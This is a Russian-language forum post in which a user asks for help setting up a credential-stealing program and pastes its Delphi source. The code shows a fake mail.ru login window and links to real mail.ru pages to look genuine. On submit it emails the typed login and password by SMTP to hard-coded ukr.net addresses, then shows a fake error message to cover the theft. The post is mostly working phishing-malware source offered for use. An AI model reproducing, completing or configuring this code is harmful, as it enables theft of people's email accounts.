Guest
Сообщений: 83368
Оценки: 51
Присоединился: None
|
Прошу помочь создать Бяку . Смысл в том что когда в нее вводят пароль и логин она отсылает его мне на мыло . Но так как я в делфи не шарю , то это для меня трудно. Я ели раздобыл исходники но не как не могу их настроить прошу кому не трудно. Помогите . Вот код исходника ! unit Main; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Mask, ExtCtrls, jpeg, ShellAPI, Winsock; type TForm1 = class(TForm) LoginE: TEdit; Label1: TLabel; Label2: TLabel; Label3: TLabel; Label4: TLabel; PassME: TMaskEdit; MailCB: TComboBox; Image1: TImage; PassSaveCB: TCheckBox; OkB: TButton; CancelB: TButton; procedure Label4MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); procedure Label4MouseLeave(Sender: TObject); procedure Label1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); procedure Label1MouseLeave(Sender: TObject); procedure Label4Click(Sender: TObject); procedure Label1Click(Sender: TObject); procedure CancelBClick(Sender: TObject); procedure OkBClick(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} function mail(smtp: string; port: integer; from, dest, subject, body: string): boolean; const cl = #13#10; var WSAData: TWSAData; Host: TSockAddrIn; Sock: TSocket; res: Integer; buff: array[1..255] of Char; procedure senddata(str: string); var i: integer; begin for i := 1 to Length(str) do if send(Sock, str, 1, 0) = SOCKET_ERROR then exit; end; function recvdata(accept: string): boolean; var buff: array[1..255] of Char; begin res := recv(Sock, buff, SizeOf(buff), 0); Result := (Res = SOCKET_ERROR) or (Copy(buff, 1, 3) = accept); end; begin try result := false; WSAStartUp(257, WSAData); Sock := socket(AF_INET, SOCK_STREAM, IPPROTO_IP); if Sock = INVALID_SOCKET then Exit; res := inet_addr(PChar(smtp)); if res = 0 then exit; Host.sin_family := AF_INET; Host.sin_port := htons(port); Host.sin_addr.S_addr := res; if connect(Sock, Host, SizeOf(Host)) > 0 then Exit; if not recvdata('220') then Exit; senddata('EHLO' + cl); if not recvdata('250') then Exit; senddata('MAIL FROM:' + from + cl); if not recvdata('250') then Exit; senddata('RCPT TO:' + dest + cl); if not recvdata('250') then Exit; senddata('DATA' + cl); if not recvdata('354') then Exit; senddata('To:' + dest + cl +'From:' + from + cl + 'Subject:' + subject + cl + cl + body + cl + '.' + cl); if not recvdata('250') then Exit; senddata('QUIT' + cl); result := true; finally closesocket(sock); WSACleanup; end; end; procedure TForm1.Label4MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin Label4.Font.Color := clBlue; end; procedure TForm1.Label4MouseLeave(Sender: TObject); begin Label4.Font.Color := $00B70000; end; procedure TForm1.Label1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin Label1.Font.Color := clBlue; end; procedure TForm1.Label1MouseLeave(Sender: TObject); begin Label1.Font.Color := $00B70000; end; procedure TForm1.Label4Click(Sender: TObject); begin ShellExecute(0,'open',pChar('http://www.mail.ru/pages/help/92.html'),NIL,NIL,SW_SHOWNORMAL); end; procedure TForm1.Label1Click(Sender: TObject); begin ShellExecute(0,'open',pChar('http://mail.ru/pages/agreement.html'),NIL,NIL,SW_SHOWNORMAL); end; procedure TForm1.CancelBClick(Sender: TObject); begin Close; end; procedure TForm1.OkBClick(Sender: TObject); begin if (LoginE.Text = 'a6y') or (PassME.Text = 'Мой пароль') then MessageDlg('Необходим ввести пароль!', mtInformation, [mbOk], 0) else begin LoginE.Enabled := False; PassME.Enabled := False; MailCB.Enabled := False; PassSaveCB.Enabled := False; OkB.Enabled := False; LoginE.Color := clBtnFace; PassME.Color := clBtnFace; { !!!Заменить значения на верные !!!В поле smtpОбязательно должен быть IP!!! smtp - ip адрес smtp сервера from - адрес отправителя dest -адрес получателя } if mail(smtp', 25, 'a6y@ukr.net', 'frintezza18@ukr.net', 'Pass from mail.ru', 'Pass from h4x0r programm :)' + #13#10 + 'Login:' + LoginE.Text + MailCB.Text + #13#10 + 'Pass:' + PassME.Text) then ShowMessage('General Protection Faul in "READ" for #003002B') else MessageDlg('Ошибка соиденения с сервером !'+ #13#10 + 'Проверте настройки подключения.', mtInformation, [mbOk], 0); Close; end; end; end.
|